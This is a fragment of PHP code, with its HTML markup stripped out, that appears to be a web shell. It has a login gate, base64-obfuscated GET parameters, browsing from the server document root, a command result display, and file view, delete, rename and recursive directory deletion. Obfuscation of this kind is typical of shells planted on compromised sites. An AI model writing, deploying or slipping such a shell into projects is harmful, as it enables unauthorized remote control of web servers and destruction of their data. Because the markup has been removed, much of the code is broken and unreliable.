'; echo '

Login Required

'; if (isset($login_error)) { echo '
' . $login_error . '
'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; echo ''; exit(); } // If logged in, show the main application ?>
Logout
'; echo '
'; // Handle logout if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit(); } $a = realpath($_SERVER['DOCUMENT_ROOT']); function x($b) { return base64_encode($b); } function y($b) { return base64_decode($b); } foreach ($_GET as $c => $d) { if ($c !== 'logout') { // Skip logout parameter $_GET[$c] = y($d); } } $e = realpath(isset($_GET['d']) ? $_GET['d'] : $a); chdir($e); $viewCommandResult = '
Result:
' . ''; echo '
curdir: '; $directories = explode(DIRECTORY_SEPARATOR, $e); $currentPath = ''; foreach ($directories as $index => $dir) { if ($index == 0) { echo '' . $dir . ''; } else { $currentPath .= DIRECTORY_SEPARATOR . $dir; echo ' / ' . $dir . ''; } } echo '
'; echo '
'; echo '
'; echo '
'; echo $viewCommandResult; // Display command result echo '
'; echo '
'; echo ''; echo '
'; foreach (scandir($e) as $v) { $u = realpath($v); $s = stat($u); $itemLink = is_dir($v) ? '?d=' . x($e . '/' . $v) : '?'.('d='.x($e).'&f='.x($v)); echo ''; } echo '
Item NameSizeViewDeleteRename
'.$v.''.$s['size'].'
'; // Fungsi untuk menghapus folder beserta isinya secara rekursif function deleteDirectory($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return unlink($dir); } foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } ?>